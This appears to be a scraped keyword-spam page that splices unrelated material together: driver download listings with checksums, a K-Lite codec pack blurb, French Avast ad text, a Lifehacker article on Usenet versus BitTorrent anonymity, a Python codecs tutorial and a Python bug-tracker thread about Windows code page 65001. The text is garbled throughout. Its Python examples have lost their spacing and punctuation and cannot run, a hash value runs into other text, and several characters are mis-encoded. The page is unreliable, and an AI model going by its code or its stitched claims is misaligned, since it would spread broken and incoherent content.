70 In Driver

Driver Package R2.70. Realtek HD Audio Driver support all of Realtek HD Audio Codec: 1. Vista, Windows 7, Windows 8 WHQL Supporting: ALC882, ALC883.

Listing items from 1 to 11 of 11 results. Drivers G-70 Driver Ver.1.0.0 for Windows R 7 64-bit Edition. This is the G-70 driver for Microsoft R Windows R 7 64-bit.

HP Designjet 70 Printer Subscribe to driver and support alerts. Sign up now for customized driver, security, patch, and support email alerts. End content.

Touchpad Driver Synaptics, Elan for Windows 8.1 64-bit – Lenovo G40-70, Lenovo G50-70Touchpad Driver Synaptics, Elan for Windows 8.1 64-bit – Lenovo G40-70.

Sign-in

Register

Site help

Laptops TabletsLaptops Tablets Laptops Tablets

Premium

Business

Elite

Pro

Workstations

Laptops

Detachables Convertibles

Tablets

Thin Clients

Point of Sale

Detachables and Convertibles

Support Troubleshooting

DesktopsDesktops Desktops

Desktops

All-in-Ones

Immersive

PrintersPrinters Printers

Home Home Office

DeskJet

ENVY

OfficeJet

Instant Ink

For business

LaserJet

OfficeJet Pro

PageWide

DesignJet

Printers All-in-Ones

Scanners fax

Large format

Digital Presses

Ink TonerInk TonerDisplays AccessoriesDisplays AccessoriesBusiness SolutionsBusiness Solutions Printing

Print Management

Mobile Printing

Printing Security

Workflow Document Management

Product Care Services

IT Services

Computing

Device Management

Computer Security

Hardware Subscription

Mobility

Mobile Broadband

Security

Software

Digital Marketing

Customer Communications

Workflow Office Automation

Print Management Software

Secure Printing Software

Remote Graphics Software

Services

Managed Computing Services

Managed Print Services

Product Care

Industries

Retail

Education

Small Medium Business

Enterprise Store login

Public Sector Purchasing

SupportSupport Support

Software drivers

Forums

Premium helpdesk services for home

Premium helpdesk services for work

Enter search criteria here

More options

Search: HP Support Center

Search: HP United States

Please enter a support question or search words.

Start of content

HP Support Center

Product SupportSearch HP Support CenterDownload optionsDrivers softwarePatch managementSoftware updates licensingDiagnostic passwordsTop issues solutionsMost viewed solutionsTroubleshoot a problemManualsRepair warrantyWarranty checkManage my contracts warrantiesView my contracts warrantiesGet help from HPSubmit or manage support casesChat with HPAll HP contact optionsCommunity forumsProduct SupportOther support optionsHP Software Support Online IT Management Software HP Customer Support Home Home Office products Aruba Support CenterMore HP support resourcesInsight Online

My IT EnvironmentDashboardView message logAdd devicesClaim an HP storage deviceManage device groupsManage user groupsEdit service informationHelpDashboardDevicesView message logAdd devicesClaim an HP storage deviceManage device groupsManage user groupsEdit service informationHelpDevicesService eventsHelpService eventsCasesHelpCasesContracts warrantiesLink support agreementsLink HP Care PacksLink warrantiesBatch link toolView my contracts warrantiesManage contract warranty sharesManage user groupsEdit my contracts warrantiesTransfer ownershipUnlink contracts warrantiesHelpContracts warrantiesRelated linksHP Support agreement managerHP Care Pack registrationService CreditsMy Service CreditsMy servicesMy ordersShop HP servicesHelpService CreditsRelated linksHP Proactive Care ServicesDatacenter Care ServicesMy IT Environment

Drivers software

Enter product serial number

Warranty status only indicates current warranty state. If you have an active Support Agreement or HP Care Pack, you can link them to your profile to ensure access to all services.

Warranty status: Unspecified

Check warranty status

Enter product serial number

The serial number you entered, , matches a different product than the current product. Do you wish to proceed to the home page of the new product.

This product has been successfully added to your profile.

The product could not be added to your profile at this time. Please try again later.

Find by product name or number

e.g. Pro Slate 12

Browse all HP products

Please wait while we process your request.

Help

Search HP Support Center

Top issues

Most viewed solutions

Advisories, bulletins notices

Manuals

Troubleshoot a problem

Setup install

Learn use

Perform maintenance

Upgrade migrate

HP Software Depot

Not the product you are looking for. If you cannot find your product on this site, go to HP Support Center - Hewlett Packard Enterprise .

Select driver language and OS

Driver language

Operating systems in English

How can I tell if my Windows operating system is 32-bit or 64-bit.

Open Windows Explorer

Right-click on Computer

Select Properties

Look for the System heading to find the System type

A 64-bit system may shown as: 64-bit Operating System

Subscribe to driver and support alerts

Sign up now for customized driver, security, patch, and support email alerts.

End of contentUnited StatesHP WorldwideStart of

Country / Region Selector

contentSelect Your Country/Region and LanguageClick or use the tab key to select your countryArgentinaAustraliaBelgiqueBoliviaBrasilCanadaCanada-françaisČeská republikaChileColombiaDeutschlandEcuadorEspañaFranceIndiaIrelandItaliaMagyarországMéxicoNew ZealandÖsterreichParaguayPerúPolskaPortugalPuerto RicoSchweizSouth AfricaSuisseTürkiyeUnited KingdomUnited StatesUruguayVenezuelaΕλλάδαРоссия中国台灣日本香港대한민국End of

contentAmericasAsia and OceaniaEurope, Middle East and AfricaClose

Dialog 

About HPAbout HPAbout HPContact HPCareersInvestor relationsSustainabilityNewsroomAccessibilityWays to buyWays to buyShop onlineStore locatorCall an HP repFind a resellerEnterprise Store loginPublic sector purchasingHP PartnersHP PartnersHP Partner first programPartner portalSupportSupportSupportDownload driversSupport troubleshootingRegister your productManage commercial support casesAuthorized service providersCheck repair statusTraining certificationStay connectedStay connectedSign up for news offers

Recalls Product recycling Site map Privacy Terms of Use Cookies ad choices Limited warranty statement Terms conditions of sales serviceHP has split into two companies. For enterprise products go to Hewlett Packard Enterprise.

Copyright 2015 HP Development Company, L.P.

70 in driver

Windows printer drivers by Seagull Scientific make it easy to print labels, cards and more from any true Windows program, including our BarTender software for label.

70 in driver HP Designjet 70 Printer

Name

Operating System

Version

Released

Download Now

Checksum Data

Touchpad Driver Synaptics, Elan for 64-bit Windows

exe

128 MB

Windows 8.1 64-bit

17.0.14.74/11.4.31.1

1/23/2014

CheckSum

MD5: 9f77cb3ae6398715723cd6c0a6ef0083

SHA1: fa80f9721da5bab4024ed1f86fe7843a884ff325

SHA-256: 85b0ebd06032abfcbefff7b2b1939df996ee8085abeb8763705f12b5b9160a03

Alias ID:

Document id:DS039874

Last Updated :27 Mar 2014

2015 Lenovo.

70 in driver 70 in driver

G50 70 Notebook Lenovo - Lenovo Support (US)

GeForce 310.70 Driver. Version: This GeForce driver is recommended for the best experience in the blockbuster holiday games.

VueScan is an application that replaces the software that came with your scanner. VueScan is compatible with the Canon LiDE 70 on Windows and Mac OS X.

70 in driver

Full Klite Codec

The Full variant of the codec pack contains some extras compared to the Standard variant of the codec pack. It supports a few additional uncommon audio and video formats. It also provides more alternative choices for the splitters and decoders that are used for playback.

More information about this variant of the codec pack can be found on the contents and changelog pages.

Detailed differences between the four variants of the codec pack can be found on the comparison of abilities and comparison of contents pages.Version 11.7.5 Full 35.7 MB November 30th 2015

Changelog:Updated MPC-HC to version 1.7.10.21 Updated MediaInfo Lite to version 0.7.80

Download:

Filename: K-Lite_Codec_Pack_1175_Full.exe

Size: 36575 KB

MD5: 0b2ffdbde9992423ffd2441355f1248e

SHA256: 4609a17f4b2cbfd8938b3594d1bb23b8b309cb4f13a4ede1924eea247d46fe0364-bit

Since version 10.0.0 this package contains both 32-bit and 64-bit codecs. It is no longer necessary to install 64-bit codecs separately.Old versions

Download links for old versions of the K-Lite Codec Pack can be found HERE.

Download K-Lite Codec Pack Full

full klite codec

Download K-Lite Codec Pack Full 11.7.5

full klite codec

The K-Lite Codec Pack is a collection of DirectShow filters, VFW/ACM codecs and tools. Codecs and DirectShow filters are needed for encoding and decoding audio and.

Fast downloads of the latest free software. Requirements: Windows 2000 / XP / Vista / Windows7 / XP64 / Vista64 / Windows7 64 / Windows8 / Windows8 64.

K-Lite Codec Pack is a collection of audio and video codecs for Microsoft Windows that enables the operating system and its software to play various audio and video.

full klite codec

The K-Lite Codec Pack is a free software bundle for high quality playback of all your music and video files. It is easy to use, but also very flexible with many options.

K-Lite Codec Pack is a free software bundle for playing all your audio and video files. It is very flexible, easy to use, and provides high quality playback.

K-Lite Mega Codec Pack is a collection of audio and video components for Microsoft Windows that enables the operating system and its software to play.

Your download will automatically start in 5 seconds. Please wait while we transfer you to the requested download or

TIP: Click Here to Repair/Restore Missing Windows OS Files

- advertisement -

Email Address

First Name

Last Name

indicates required field or you are about to be attacked by a grue..

The K-Lite Codec Pack is a collection of DirectShow filters, VFW/ACM codecs, and tools. Codecs and DirectShow filters are needed for encoding and decoding audio and.

full klite codec full klite codec

Telechargement Gratuit Antivirus Avast 2010

Avast 2015 is here, and it’s free

L antivirus Avast est plus léger et plus rapide que jamais. Vous ne le remarquerez même pas. Antivirus Gratuit Essentiel: Pro Antivirus Expert.

Встроенное видео  Télécharger Avast Antivirus Gratuit 2016 Gratuitement, 0.1 net telechargement gratuit logiciel; avast 2016 gratuit; telecharger avast internet security gratuit.

telechargement gratuit antivirus avast 2010

Avast. Antivirus Gratuit offre une protection en temps réel sur les actions réalisées par l utilisateur : navigation agent Web.

Only Avast has Home Network Security

For the first time ever, you can protect your home network devices, such as routers and wireless devices, from hacker attacks.

More exciting features

Browser Cleanup

Remove annoying browser toolbars or extensions, and restore your hijacked search browser.

Software Updater

Easily update your important software to increase the overall security and condition of your PC.

Remote Assistance

Remote Assistance lets you help or be helped over the Internet.

There s something free for everyone

Free isn t just the price of our security; it s how you feel when your PCs, Androids, and Macs are protected by the most trusted security in the world.

For home

More people choose our PC and Mac security products over any other.

EXPLORE

For mobile

You run your life on your mobile devices. Avast will keep you safe on the go.

NEW

For business

Whether you are an enterprise or a start up, make sure you re covered.

Avast recommends using the FREE Chrome internet browser.

Download Chrome.

telechargement gratuit antivirus avast 2010 telechargement gratuit antivirus avast 2010 telechargement gratuit antivirus avast 2010

Avira Free Antivirus is an award-winning product that provides comprehensive protection against all types of threats, secures your data.

telechargement gratuit antivirus avast 2010

Children from among the telecharger antivirus avast gratuit 2011 is an auto refresh feature is almost impossible with unlabeled buttons. We recently spent sifting and.

Avast Antivirus has your back. Along with 230 million others. Be prepared for whatever comes your way with the most trusted security in the world.

Internet Security Newsgroups

Usenet provide VPN services that are online internet gateway solutions that help in establishing long-distance and secured network connections.

Welcome to the Microsoft Internet Safety and Security Center. Find tools and information about security, privacy, and safety to help protect yourself online.

  • General guide to the Internet, includes sections covering the history of the Web, email, Usenet and other topics.
  • Norton Internet Security 2011 was released for Beta testing on April 21, 2010. Changes include a new user interface and improved scanning of internet sites for malware.

A newsgroup is a discussion about a particular subject consisting of notes written to a central Internet site and redistributed through Usenet, a worldwide network of.

internet security newsgroups

Dear Lifehacker,

I ve been downloading torrents for a long time and people keep telling me about how great Usenet is, but is it actually safer than BitTorrent downloads. Or is it just not as popular.

Sincerely,

Searching Bins

First off, BitTorrent and Usenet are both pretty safe provided you re not downloading anything illegal and we don t condone you use either for anything else. That said, you can face problems even if you aren t doing anything illegal like ISPs throttling your traffic or exposing your IP address and download habits to anyone watching.

Even though it has been around for years, Usenet is still a bit of a mystery to a lot of people. If you want to get caught up on everything you need to know check out our guide to Usenet. On the surface, Usenet seems like it should be a lot safer because you re not directly sharing files with other users and tracking your activity is a lot more difficult, but you re not completely anonymous on Usenet either. Let s break down how it all works.

Usenet is a wonderful service for finding and downloading digital media, giving you speed and Read moreRead on

Anonymity and Secure Downloading on Usenet

Let s start by getting a good grasp on how Usenet works. First, you pay for a subscription to a Usenet provider. This gives you a monthly or data-capped plan to access information stored on Usenet. Every provider gives you access to the same files, much like an internet service provider ISP gives you access to the same internet.

Remaining completely anonymous on Usenet is very difficult. Unlike a P2P network, you have to pay a provider to get access to Usenet files. In order to pay you have to send over your credit card and billing information to get access to Usenet files and services. You could use an anonymous payment service like Bitcoin, but we won t get into that here.

Luckily, Usenet providers are good at keeping your download activity under wraps. Most Usenet providers offer a Secure Socket Layer SSL for everything you download, meaning nobody but you and the provider has any idea what you re downloading. Your internet service provider could notice you re taking up a lot of bandwidth, but they don t know how or why. To their eyes you could be downloading the newest Linux build or you could be watching a three hour long porn epic spoofed from Tron Legacy. In fact, they won t even be able to tell that you re using Usenet. The only person who knows what you re downloading is your provider, but since most Usenet providers do not keep logs of your activity and since the retention rate the length of time a server keeps files isn t permanent like a torrent, tracking your downloads is far more difficult.

This differs from peer-to-peer in one key way. Tracking peer-to-peer downloads is as simple as looking at the IP address of someone seeding files although, we ve shown you anonymize your BitTorrent tracking before if you re interested. Usenet is a server filled with files uploaded by people just like yourself, so you re not broadcasting your IP address to strangers when you re downloading you re only broadcasting it to your Usenet provider, who keeps no lasting record of your activity. Even if someone wanted them to hand over a list of everything you ve downloaded, they wouldn t be able to because it doesn t exist. Photo by Nite_Owl.

BitTorrent isn t the quiet haven it once was. These days, everyone s looking to throttle Read moreRead on

Potential Legal Troubles

Since Usenet is often used for piracy, it s been having some legal troubles just like BitTorrent. Usenet users have been safe from prosecution so far, but providers haven t been. In 2007 the RIAA won a similar lawsuit against Newzbin. The claims, at least from a legal point of view, are similar to the ones filed against sites like MegaUpload or Pirate Bay in that Usenet providers offer access to files that are often copyrighted works.

The problem is, like we mentioned above, all Usenet providers give access to the same content so taking one down does absolutely nothing for the content. Usenet files uploaded by individuals are stored on servers around the world, not on one single person s hard drive. This is different than BitTorrent because a BitTorrent tracker actually tracks who has files and where. It s a heck of a lot harder to find and get rid of files on Usenet, which is why it s a great place to find crazy old out of print and unlicensed works of music and movies.

You Can Still Get Viruses and Malware from Usenet

One advantage peer-to-peer has over Usenet is that a lot of the links to torrent files are filled with comments. Inside those comments you ll find information about whether a virus was found or malware was detected. Usenet search engines often have similar comments, so you should check through those to avoid any bad repercussions and, just like with torrents, it s always a good idea to scan them yourself. Luckily, we ve shown you a great way to automate this process for all your downloads.

uTorrent released a premium version of their BitTorrent client today, with some cool features like Read moreRead on

The point is that the safety of the files is almost as unpredictable as torrents, so it s always a good idea to scan them before opening and installing anything. As far as your anonymity is concerned, as long as your Usenet provider offers SSL you re pretty safe and you re harder to track on Usenet than if you re using BitTorrent. Your definitely safer on Usenet than openly using BitTorrent, but if you re using BitTorrent with the security measures mentioned above they re about equal. Photo by inane_spiel.

Lifehacker

Have a question or suggestion for Ask Lifehacker. Send it to tips asklh lifehacker.com.

Title image remixed from Leremy Shutterstock.

Clear information on Internet privacy how to be anonymous online: web browsing, secure email, Tor, VPNs, torrent file-sharing, Usenet, encryption more.

internet security newsgroups internet security newsgroups

Issues affecting privacy, security, anonymity, and encryption on the internet.

Is Usenet Safer than BitTorrent?

Python Codec Registry Error

Search the world s information, including webpages, images, videos and more. Google has many special features to help you find exactly what you re looking for.

If you d like to upload plug-ins, please create an account below. You do not need one for download. Enjoy :-.

Defining Your Own EncodingВ

Since Python comes with a large number of standard codecs already, it

is unlikely that you will need to define your own. If you do, there

are several base classes in codecs to make the process easier.

The first step is to understand the nature of the transformation

described by the encoding. For example, an invertcaps encoding

converts uppercase letters to lowercase, and lowercase letters to

uppercase. Here is a simple definition of an encoding function that

performs this transformation on an input string:

importstringdefinvertcaps text : Return new string with the case of all letters switched. return. join c.upper ifcinstring.ascii_lowercaseelsec.lower ifcinstring.ascii_uppercaseelsecforcintext if__name__ __main__ :printinvertcaps ABC.def printinvertcaps abc.DEF

In this case, the encoder and decoder are the same function as with

ROT-13.

python codecs_invertcaps.py

abc.DEF

ABC.def

Although it is easy to understand, this implementation is not

efficient, especially for very large text strings. Fortunately,

codecs includes some helper functions for creating character

map based codecs such as invertcaps. A character map encoding is

made up of two dictionaries. The encoding map converts character

values from the input string to byte values in the output and the

decoding map goes the other way. Create your decoding map first,

and then use make_encoding_map to convert it to an encoding

map. The C functions charmap_encode and

charmap_decode use the maps to convert their input data

efficiently.

importcodecsimportstring Map every character to itselfdecoding_map codecs.make_identity_dict range 256 Make a list of pairs of ordinal values for the lower and upper case letterspairs zip ord c forcinstring.ascii_lowercase, ord c forcinstring.ascii_uppercase Modify the mapping to convert upper to lower and lower to upper.decoding_map.update dict upper,lower for lower,upper inpairs decoding_map.update dict lower,upper for lower,upper inpairs Create a separate encoding map.encoding_map codecs.make_encoding_map decoding_map if__name__ __main__ :printcodecs.charmap_encode abc.DEF, strict, encoding_map printcodecs.charmap_decode abc.DEF, strict, decoding_map printencoding_map decoding_map

Although the encoding and decoding maps for invertcaps are the same,

that may not always be the case. make_encoding_map detects

situations where more than one input character is encoded to the same

output byte and replaces the encoding value with None to mark the

encoding as undefined.

python codecs_invertcaps_charmap.py

ABC.def, 7

u ABC.def, 7

True

The character map encoder and decoder support all of the standard

error handling methods described earlier, so you do not need to do any

extra work to comply with that part of the API.

importcodecsfromcodecs_invertcaps_charmapimportencoding_maptext u pi: ПЂ forerrorin ignore, replace, strict :try:encoded codecs.charmap_encode text,error,encoding_map exceptUnicodeEncodeError,err:encoded str err print :7 : . format error,encoded

Because the Unicode code point for ПЂ is not in the encoding map,

the strict error handling mode raises an exception.

python codecs_invertcaps_error.py

ignore : PI: , 5

replace: PI. , 5

strict : charmap codec can t encode character u u03c0 in position

4: character maps to

After that the encoding and decoding maps are defined, you need to set

up a few additional classes and register the encoding.

register adds a search function to the registry so that when a

user wants to use your encoding codecs can locate it. The

search function must take a single string argument with the name of

the encoding, and return a CodecInfo object if it knows the

encoding, or None if it does not.

importcodecsimportencodingsdefsearch1 encoding :print search1: Searching for:, encodingreturnNonedefsearch2 encoding :print search2: Searching for:, encodingreturnNonecodecs.register search1 codecs.register search2 utf8 codecs.lookup utf-8 print UTF-8:, utf8try:unknown codecs.lookup no-such-encoding exceptLookupError,err:print ERROR:, err

You can register multiple search functions, and each will be called in

turn until one returns a CodecInfo or the list is exhausted.

The internal search function registered by codecs knows how to

load the standard codecs such as UTF-8 from encodings, so those

names will never be passed to your search function.

python codecs_register.py

UTF-8:

search1: Searching for: no-such-encoding

search2: Searching for: no-such-encoding

ERROR: unknown encoding: no-such-encoding

The CodecInfo instance returned by the search function tells

codecs how to encode and decode using all of the different

mechanisms supported: stateless, incremental, and stream.

codecs includes base classes that make setting up a character

map encoding easy. This example puts all of the pieces together to

register a search function that returns a CodecInfo instance

configured for the invertcaps codec.

importcodecsfromcodecs_invertcaps_charmapimportencoding_map,decoding_map Stateless encoder/decoderclassInvertCapsCodec codecs.Codec :defencode self,input,errors strict :returncodecs.charmap_encode input,errors,encoding_map defdecode self,input,errors strict :returncodecs.charmap_decode input,errors,decoding_map Incremental formsclassInvertCapsIncrementalEncoder codecs.IncrementalEncoder :defencode self,input,final False :returncodecs.charmap_encode input,self.errors,encoding_map 0 classInvertCapsIncrementalDecoder codecs.IncrementalDecoder :defdecode self,input,final False :returncodecs.charmap_decode input,self.errors,decoding_map 0 Stream reader and writerclassInvertCapsStreamReader InvertCapsCodec,codecs.StreamReader :passclassInvertCapsStreamWriter InvertCapsCodec,codecs.StreamWriter :pass Register the codec search functiondeffind_invertcaps encoding : Return the codec for invertcaps. ifencoding invertcaps :returncodecs.CodecInfo name invertcaps, encode InvertCapsCodec. encode,decode InvertCapsCodec. decode,incrementalencoder InvertCapsIncrementalEncoder,incrementaldecoder InvertCapsIncrementalDecoder,streamreader InvertCapsStreamReader,streamwriter InvertCapsStreamWriter, returnNonecodecs.register find_invertcaps if__name__ __main__ : Stateless encoder/decoderencoder codecs.getencoder invertcaps text abc.DEF encoded_text,consumed encoder text print Encoder converted to , consuming characters. format text,encoded_text,consumed Stream writerimportsyswriter codecs.getwriter invertcaps sys.stdout print StreamWriter for stdout: , writer.write abc.DEF print Incremental decoderdecoder_factory codecs.getincrementaldecoder invertcaps decoder decoder_factory decoded_text_parts forcinencoded_text:decoded_text_parts.append decoder.decode c,final False decoded_text_parts.append decoder.decode, final True decoded_text. join decoded_text_parts print IncrementalDecoder converted to . format encoded_text,decoded_text

The stateless encoder/decoder base class is Codec. Override

encode and decode with your implementation in this

case, calling charmap_encode and charmap_decode

respectively. Each method must return a tuple containing the

transformed data and the number of the input bytes or characters

consumed. Conveniently, charmap_encode and

charmap_decode already return that information.

IncrementalEncoder and IncrementalDecoder serve as

base classes for the incremental interfaces. The encode and

decode methods of the incremental classes are defined in such

a way that they only return the actual transformed data. Any

information about buffering is maintained as internal state. The

invertcaps encoding does not need to buffer data it uses a one-to-one

mapping. For encodings that produce a different amount of output

depending on the data being processed, such as compression algorithms,

BufferedIncrementalEncoder and

BufferedIncrementalDecoder are more appropriate base classes,

since they manage the unprocessed portion of the input for you.

StreamReader and StreamWriter need encode

and decode methods, too, and since they are expected to return

the same value as the version from Codec you can use multiple

inheritance for the implementation.

python codecs_invertcaps_register.py

Encoder converted abc.DEF to ABC.def, consuming 7 characters

StreamWriter for stdout: ABC.def

IncrementalDecoder converted ABC.def to abc.DEF

See alsocodecsThe standard library documentation for this module.localeAccessing and managing the localization-based configuration

settings and behaviors.ioThe io module includes file and stream wrappers that

handle encoding and decoding, too.SocketServerFor a more detailed example of an echo server, see the

SocketServer module.encodingsPackage in the standard library containing the encoder/decoder

implementations provided by Python..Unicode HOWTOThe official guide for using Unicode with Python 2.x.Python Unicode ObjectsFredrik Lundh s article about using non-ASCII character sets

in Python 2.0.How to Use UTF-8 with PythonEvan Jones quick guide to working with Unicode, including XML

data and the Byte-Order Marker.On the Goodness of UnicodeIntroduction to internationalization and Unicode by Tim Bray.On Character StringsA look at the history of string processing in programming

languages, by Tim Bray.Characters vs. BytesPart one of Tim Bray s essay on modern character string

processing for computer programmers. This installment covers

in-memory representation of text in formats other than ASCII

bytes.The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets No Excuses. An introduction to Unicode by Joel Spolsky.EndiannessExplanation of endianness in Wikipedia.

The codecs module provides stream and file interfaces for transcoding data in your program. It is most commonly used to work with Unicode text, but other encodings.

Messages 124 msg58487 - Author: Mark Summerfield mark Date: 2007-12-12 ; I am not sure if this is a Python bug or simply a limitation of cmd.exe.

I started to develop SPE when I was still using Windows back in 2002. By using Python and wxPython, I hoped SPE would run smoothly on all platforms.

Messages 124 msg58487 - view Author: Mark Summerfield mark Date: 2007-12-12 I am not sure if this is a Python bug or simply a limitation of cmd.exe.

I am using Windows XP Home.

I run cmd.exe with the /u option and I have set my console font to

Lucida Console the only TrueType font offered, and I run chcp 65001

to set the utf8 code page.

When I run the following program:

for x in range 32, 2000 :

print 0:5X 0:c. format x

one blank line is output.

But if I do chcp 1252 the program prints up to 7F before hitting a

unicode encoding error.

This is different behaviour from Python 2.5.1 which with a suitably

modified print line after chcp 65001 prints up to 7F and then fails

with IOError: Errno 0 Error. msg58621 - view Author: Mark Summerfield mark Date: 2007-12-14 I ve looked into this a bit more, and from what I can see, code page

65001 just doesn t work---so it is a Windows problem not a Python problem.

A possible solution might be to read/write UTF16 which managed Windows

applications can do.msg58651 - view Author: Christian Heimes christian.heimes Date: 2007-12-15 We are aware of multiple Windows related problems. We are planing to

rewrite parts of the Windows specific API to use the widechar variants.

Maybe that will help.msg87086 - view Author: Antoine Pitrou pitrou Date: 2009-05-03 Yes, it is a Windows problem. There simply doesn t seem to be a true

Unicode codepage for command-line apps. Recommend closing.msg88059 - view Author: Χρήστος Γεωργίου Christos Georgiou tzot Date: 2009-05-19 Just in case it helps, this behaviour is on Win XP Pro, Python 2.5.1:

First, I added an alias for cp65001 to utf_8 in

Lib/encodings/aliases.py.

Then, I opened a command prompt with a bitmap font.

c: windows system32 python

Python 2.5.1 r2863, Apr 18 2007, :08 MSC v.1310 32 bit

Intel on

win32

Type help, copyright, credits or license for more information.

print u N EM DASH

â

I switched the font to Lucida Console, and retried without exiting the

python interpreter, although the behaviour is the same when exiting and

entering again:

Traceback most recent call last :

File , line 1, in

IOError: Errno 13 Permission denied

Then I tried by pressing Alt 0233 for é, which is invalid in my normal

cp1253 codepage :

print u née

and the interpreter exits without any information. So it does for:

a u née

Then I created a UTF-8 text file named test65001.py :

- - coding: utf_8 - -

a u néeα

print a

and tried to run it directly from the command line:

c: windows system32 python d: src PYTHON test65001.py

néeαTraceback most recent call last :

File d: src PYTHON test65001.py, line 4, in

print a

IOError: Errno 2 No such file or directory

You see. It printed all the characters before failing.

Also the following works:

c: windows system32 echo heéε

heéε

and

c: windows system32 echo heéε D: src PYTHON dummy.txt

creates successfully a UTF-8 file without any UTF-8 BOM marks at the

beginning.

So it s possible that it is a python bug, or at least something can be

done about it.msg88077 - view Author: Amaury Forgeot d Arc amaury.forgeotdarc Date: 2009-05-19 an immediate thing to do is to declare cp65001 as an encoding:

Index: Lib/encodings/aliases.py

--- Lib/encodings/aliases.py revision 72757

Lib/encodings/aliases.py working copy

-511,6 511,7

utf8 : utf_8,

utf8_ucs2 : utf_8,

utf8_ucs4 : utf_8,

cp65001 : utf_8,

uu_codec codec

uu : uu_codec,

This is not enough unfortunately, because the win32 API function

WriteFile returns the number of characters written, not the number of

utf8 bytes:

print u0124 u0102 abc

ĤĂabc

c

44420 refs

Additionally, there is a bug in the ReadFile, which returns an empty

string and no error when a non-ascii character is entered, which is

the behavior of an EOF condition

Maybe the solution is to use the win32 console API directlymsg92854 - view Author: Χρήστος Γεωργίου Christos Georgiou tzot Date: 2009-09-19 Another note:

if one creates a dummy Stream object having a softspace attribute and a

write method that writes using os.write, as in

1432462

to replace sys.stdout and sys.stderr, then writes occur correctly,

without issues. Pre-requisites:

chcp 65001, Lucida Console font and cp65001 as an alias for UTF-8 in

encodings/aliases.py

This is Python 2.5.4 on Windows.msg94445 - view Author: Glenn Linderman v python Date: 2009-10-25 With Python 3.1.1, the following batch file seems to be necessary to use

UTF-8 successfully from an XP console:

set PYTHONIOENCODING UTF-8

cmd /u /k chcp 65001

set PYTHONIOENCODING

exit

the cmd line seems to be necessary because of Windows having

compatibility issues, but it seems that Python should notice the cp65001

and not need the PYTHONIOENCODING stuff.msg94480 - view Author: Mark Summerfield mark Date: 2009-10-26 Glenn Linderman s fix pretty well works for me on XP Home. I can print

every Unicode character up to and including U D7FF although most just

come out as rectangles, at least I don t get encoding errors.

It fails at U D800 with message:

UnicodeEncodeError: utf-8 codec can t encode character ud800 in

position 17: surrogates not allowed

I also tried U D801 and got the same error.

Nonetheless, this is much better than before.msg94483 - view Author: Marc-Andre Lemburg lemburg Date: 2009-10-26 Mark Summerfield wrote:

Mark Summerfield added the comment:

Glenn Linderman s fix pretty well works for me on XP Home. I can print

every Unicode character up to and including U D7FF although most just

come out as rectangles, at least I don t get encoding errors.

It fails at U D800 with message:

UnicodeEncodeError: utf-8 codec can t encode character ud800 in

position 17: surrogates not allowed

I also tried U D801 and got the same error.

That s normal and expected: D800 is the start of the surrogate

ranges which are only allows in pairs in UTF-8.msg94496 - view Author: Glenn Linderman v python Date: 2009-10-26 The choice of the Lucida Consola or the Consolas font cures most of the

rectangle problems. Those are just a limitation of the selected font

for the console window.msg108173 - view Author: Christoph Burgmer christoph Date: 2010-06-19 Will this bug be tackled or Python2.7.

And is there a way to get hold of the access denied error.

Here are my steps to reproduce:

I started the console with cmd /u /k chcp 65001

_______________________________________________________________________

Aktive Codepage: 65001.

C: Dokumente und Einstellungen root set PYTHONIOENCODING UTF-8

C: Dokumente und Einstellungen root d:

D: cd Python31

D: Python31 python

Python 3.1.2 r3149, Mar 21 2010, :52 MSC v.1500 32 bit Intel on win32

print u573a

I see a rectangle on screen but obviously c p works.msg108228 - view Author: STINNER Victor haypo Date: 2010-06-20 Maybe the solution is to use the win32 console API directly

Yes, it is the best solution because it avoids the horrible mbcs encoding.

About cp65001: it is not exactly the same encoding than utf-8 and so it cannot be used as an alias to utf-8: see issue 6058.msg116801 - view Author: Mark Lawrence BreamoreBoy Date: 2010-09-18 Brian/Tim what s your take on this.msg120414 - view Author: STINNER Victor haypo Date: 2010-11-04 I wrote a small function to call WriteConsoleOutputA and WriteConsoleOutputW in Python to do some tests. It works correclty, except if I change the code page using chcp command. It looks like the problem is that the chcp command changes the console code page and the ANSI code page, but it should only changes the ANSI code page and not the console code page.

chcp command

The chcp command changes the console code page, but in practice, the console still expects the OEM code page eg. cp850 on my french setup. Example:

C: python.exe -c import sys; print sys.stdout.encoding

cp850

C: chcp 65001

C: python.exe

Fatal Python error: Py_Initialize: can t initialize sys standard streams

LookupError: unknown encoding: cp65001

C: SET PYTHONIOENCODING utf-8

import sys

sys.stdout.write xe9 n

Ã

2

sys.stdout.buffer.write xe9 n. encode utf8

3

sys.stdout.buffer.write xe9 n. encode cp850

é

os.device_encoding 1 uses GetConsoleOutputCP which gives 65001. It should maybe use GetOEMCP instead. Or chcp command should be fixed.

Set the console code page looks to be a bad idea, because if I type é using my keyboard, a random character eg. U 0002 is displayed instead

WriteConsoleOutputA and WriteConsoleOutputW

Without touching the code page

------------------------------

If the character can be rendered by the current font eg. U 00E9 : WriteConsoleOutputA and WriteConsoleOutputW work correctly.

If the character cannot be rendered by the current font, but there is a replacment character eg. U 0141 replaced by U 0041 : WriteConsoleOutputA cannot be used U 0141 cannot be encoded to the code page, WriteConsoleOutputW writes U 0141 but the console contains U 0041 I checked using ReadConsoleOutputW and U 0041 is displayed. It works like the mbcs encoding, the behaviour looks correct.

If the character cannot be rendered by the current font, but there is a replacment character eg. U 042D : WriteConsoleOutputA cannot be used U 042D cannot be encoded to the code page, WriteConsoleOutputW writes U 042D but U 003d . is displayed instead. The behaviour looks correct.

chcp 65001

----------

Using chcp 65001 command set PYTHONIOENCODING utf-8 to avoid the fatal error, it becomes worse: the result depends on the font

Using raster font:

- ANSI write xe9. encode cp850 using WriteConsoleOutputA displays U 00e9 é, whereas the console output code page is cp65001 I checked using GetConsoleOutputCP

- ANSI write xe9. encode utf-8 using WriteConsoleOutputA displays à mojibake.

- UNICODE write xe9 using WriteConsoleOutputW displays a random character U 0002, U 0008, U 0069, U 00b0,

Using Lucida TrueType font :

- ANSI write xe9. encode cp850 using WriteConsoleOutputA displays U 0000. .

- UNICODE write xe9 using WriteConsoleOutputW works correctly display U 00e9, even with u0141, it works correctly display U 0141 msg120415 - view Author: STINNER Victor haypo Date: 2010-11-04 sys_write_stdtout.patch: Create sys.write_stdout test function to call WriteConsoleOutputA or WriteConsoleOutputW depending on the input types bytes or str. msg120416 - view Author: Χρήστος Γεωργίου Christos Georgiou tzot Date: 2010-11-04

